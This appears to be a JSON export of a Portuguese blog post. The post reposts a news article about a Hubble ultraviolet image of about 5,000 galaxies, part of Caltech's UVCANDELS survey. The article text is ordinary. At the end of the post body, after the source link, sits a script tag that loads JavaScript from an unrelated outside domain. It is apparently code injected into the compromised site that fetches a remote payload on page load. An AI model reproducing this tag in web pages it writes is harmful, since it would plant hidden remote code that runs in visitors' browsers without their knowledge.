{"id":1890,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/telescopio-hubble-registra-5-mil-galaxias-na-luz-ultravioleta-confira\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"telescopio-hubble-registra-5-mil-galaxias-na-luz-ultravioleta-confira","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/telescopio-hubble-registra-5-mil-galaxias-na-luz-ultravioleta-confira\/","title":{"rendered":"Telesc\u00f3pio Hubble registra 5 mil gal\u00e1xias na luz ultravioleta; confira"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>O <a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/03\/30\/recorde-hubble-detecta-a-estrela-mais-distante-ja-vista-pela-humanidade.htm\">Telesc\u00f3pio Hubble<\/a> foi respons\u00e1vel por mais uma imagem detalhada do espa\u00e7o gra\u00e7as a observa\u00e7\u00f5es feitas em luz ultravioleta. Na divulga\u00e7\u00e3o recente, cerca de 5.000 gal\u00e1xias antigas de diferentes formas e tamanhos foram registradas brilhando \u2014 algumas lembram um monte de confetes.<\/p>\n<p>A imagem, divulgada no dia 14 de junho durante a 240\u00aa reuni\u00e3o da American Astronomical Society (AAS), mostra gal\u00e1xias localizadas a bilh\u00f5es de anos-luz de dist\u00e2ncia em uma pequena regi\u00e3o entre as constela\u00e7\u00f5es da Ursa Maior e Bo\u00f6tes, conhecida como Extended Groth Strip (Faixa de Groth Estendida, na tradu\u00e7\u00e3o livre).<\/p>\n<p>Essa regi\u00e3o equivale cerca de um por cento do tamanho da Lua cheia no c\u00e9u vista a partir da Terra.<\/p>\n<blockquote>\n<p dir=\"ltr\">Take in this ultra-spectacular ultraviolet view!<\/p>\n<p>This Hubble image unveils thousands of galaxies shining in ultraviolet light, in addition to visible and near-infrared.<\/p>\n<p>Learn more about the largest ultraviolet Hubble survey of distant galaxies to date: <a href=\"https:\/\/t.co\/ixwfaFE0FZ\">https:\/\/t.co\/ixwfaFE0FZ<\/a> <a href=\"https:\/\/t.co\/Ob7qKeHAD4\">pic.twitter.com\/Ob7qKeHAD4<\/a><\/p>\n<p>&#8212; Hubble (@NASAHubble) <a href=\"https:\/\/twitter.com\/NASAHubble\/status\/1537443006248128520?ref_src=twsrc%5Etfw\">June 16, 2022<\/a><\/p><\/blockquote>\n<h2>Por que isso importa?<\/h2>\n<p>A observa\u00e7\u00e3o de gal\u00e1xias nos d\u00e1 pistas para descobrir como elas se formaram e evolu\u00edram.<\/p>\n<p>Segundo os pesquisadores do estudo, as imagens feitas pelo Hubble podem ainda ajudar a ci\u00eancia a entender o processo de reioniza\u00e7\u00e3o do Universo, um dos mist\u00e9rios existentes desde o <a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/bbc\/2022\/06\/20\/quanto-tempo-ja-passou-desde-o-big-bang-e-como-isso-e-medido.htm\">Big-Bang<\/a>, que p\u00f4s fim \u00e0 <a href=\"https:\/\/noticias.uol.com.br\/ciencia\/ultimas-noticias\/bbc\/2017\/07\/02\/como-um-bispo-medieval-adiantou-a-teoria-do-big-bang-no-seculo-13.htm\" target=\"_blank\" rel=\"noopener\">&#8220;idade das trevas&#8221; c\u00f3smica<\/a>.<\/p>\n<p>Esse processo \u00e9 quando luz ultravioleta extrema, ou de alta energia, das primeiras estrelas e gal\u00e1xias ioniza uma n\u00e9voa de g\u00e1s hidrog\u00eanio, dividindo os \u00e1tomos em el\u00e9trons e pr\u00f3tons carregados, <a href=\"https:\/\/www.caltech.edu\/about\/news\/thousands-of-galaxies-shine-in-ultraviolet-light-in-new-hubble-image\" target=\"_blank\" rel=\"noopener\">explica o Instituto de Tecnologia da Calif\u00f3rnia (Caltech)<\/a>.<\/p>\n<p>Ap\u00f3s o desaparecimento dessa n\u00e9voa, a luz de estrelas e gal\u00e1xias puderam viajar pelo Universo sem obstru\u00e7\u00e3o.<\/p>\n<h2>Como a imagem foi feita<\/h2>\n<p>A imagem faz parte de uma recente pesquisa chamada <a href=\"http:\/\/uvcandels.ipac.caltech.edu\/\" target=\"_blank\" rel=\"noopener\">Uvcandels,<\/a> do Caltech, na qual os cientistas investigam os principais processos de evolu\u00e7\u00e3o de gal\u00e1xias durante vigorosa forma\u00e7\u00e3o estelar. O novo programa fez uso do Hubble durante 10 dias e fotografou cerca de 140.000 gal\u00e1xias.<\/p>\n<p>O projeto \u00e9 continua\u00e7\u00e3o de Candels, pesquisa que examinou a luz vis\u00edvel infravermelha e mais vermelha desses corpos celeste. Na nova etapa, as luzes \u00f3pticas ultravioleta e azul foram adicionadas as partes do c\u00e9u examinadas na iniciativa anterior.<\/p>\n<p>Com a combina\u00e7\u00e3o de camadas dos dois estudos, os cientistas criaram a imagem rec\u00e9m-divulgada com muito mais detalhes a serem analisados.<\/p>\n<p>&#8220;A luz ultravioleta vem das estrelas mais massivas, que tamb\u00e9m s\u00e3o as mais jovens e mais quentes das estrelas, e fornece uma vis\u00e3o \u00fanica sobre a forma\u00e7\u00e3o estelar em andamento em gal\u00e1xias pr\u00f3ximas e distantes&#8221;, destacou Xin Wang, pesquisador de p\u00f3s-doutorado do centro de astronomia da Caltech.<\/p>\n<p><em>*Com informa\u00e7\u00f5es dos sites Space<\/em><\/p>\n<\/p><\/div>\n<p><script async src=\"\/\/platform.twitter.com\/widgets.js\" charset=\"utf-8\"><\/script><br \/>\n<br \/><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/06\/20\/telescopio-hubble-mostra-5000-galaxias-antigas-brilhando-como-confete.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O Telesc\u00f3pio Hubble foi respons\u00e1vel por mais uma imagem detalhada do espa\u00e7o gra\u00e7as a observa\u00e7\u00f5es feitas em luz ultravioleta. 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